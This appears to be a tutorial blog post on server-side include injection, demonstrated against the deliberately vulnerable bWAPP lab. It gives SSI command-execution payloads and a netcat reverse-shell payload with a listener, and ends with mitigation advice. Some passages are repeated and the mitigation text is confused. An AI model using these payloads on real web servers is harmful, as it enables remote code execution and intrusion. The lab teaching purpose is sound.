This article covers Injection type attack called server-side include injection. It will include what SSI injection is, characters used in SSI directives, and a few examples in bWAPP with low and medium security settings.
What is Server-Side Include Injection
SSI are directives used in web applications for feeding dynamic content to HTML pages. The SSI uses directives to run some activities before loading or displaying the page. To do this, the webserver will check SSI before providing the user with the page.
This attack involves a server-side attack that makes use of the web app by inserting scripts in HTML pages or by remotely executing arbitrary codes. The program can be manipulated by modifying SSI or by using user input fields.
It is possible, by inserting characters SSI directives use such as < ! # = / . " - > and [a-zA-Z0-9] to check if the application validated correctly data input fields.
The existence of pages using the extensions .stm,.shtm, and. shtml is a further way of deciding whether the application is vulnerable. But, the absence of such pages does not prevent SSI attacks from the application.
Let's Begin
Open kali linux and enter the victim ip address in browser your-ip-address/bWAPP/login.php. Enter the credentials as bee and bug.
Security level is set low which is default. Now select the attack you want to perform from the list of attack given and click on hack button.
The respective web page will appear. You can see the page includes two text boxes first name and last name along with look up button.
To check the vulnerability I added Ari in the First name and T in the Last name and click on lookup button. Another web page pops up on the window , showing the content of textboxes along with IP address of the machine.
Now I will try to exploit the flaw with different parameters. Here, i am checking the ID using the command : <!--#execute cmd=”id”--> . In the same way you can access the list of directories using command: <!--# execute cmd=”ls”-->
As you can see i have got the id available in the server that are gid, uid and groups.
Getting Reverse Shell
Let’s try to get a reverse shell from the application using netcat listener.
Start the netcat listener on port 4444 using command: nc -nvlp 4444
In browser get the reverse shell using command <!--#exec cmd=(“nc your-IP-. address port-number-used -e /bin/bash”)-->. Here Linux is used therefore /bin/bash but if it was windows it would have been cmd.
If everything is okay you should get reverse shell in Kali. In this image as you can see I have got the reverse shell which means the application is compromised. I can now penetrate more deeply in system and can get various type of informations.
You can use command such as pwd to check the directories, whoami to know the user/group, and much more. You can access the information about bWAPP from here.
Using nc you can run various commands on the server such as seeing the list of directories, seeing passwd file, and much more.
If everything is okay you should get reverse shell in Kali. In this image as you can see I have got the reverse shell. That means the application is compromised. I can now penetrate more deeply in system and can get various type of informations.
You can use command such as pwd to check the directories, whoami to know the user/group, and much more. You can access the information about bWAPP from here.
Using nc you can run various commands on the server such as seeing the list of directories, seeing passwd file, and much more.
Medium Level
Let’s set the security level to medium and try to exploit it. The reason to increase the security is that it stimulates the security that might be applied in real-time.
First I am going to try whoami using <!-- #exec cmd=“whoami”-->. The command doesn’t work because the application is sanitizing user input.
Why is it not working ?
As the security level is set to the medium it is validating the user input to some extend. In this particular case, the double quotation marks (“ ”) are validating.
Mitigation for SSI
The user input should be checked to ensure that it contains no character that is in an SSI directive. The alternative approach would be to convert the input to HTML before showing it on the web pages. The directives can be extended to the pages that require them but are available only on such pages. It is now possible to build SSI in .htm and .html files. We don't need .shtm, .shtml and .stm because those files are harder to classify as vulnerable.
Conclusion
An SSI injection attack helps the attackers to acquire valuable information such as password lists and executables scripts. SSI instructions are sent to the webserver and injected into input fields. Before you provide the page, the webserver scans and executes the guidelines. Then the next time you load the page for your browser, the attack result is clear.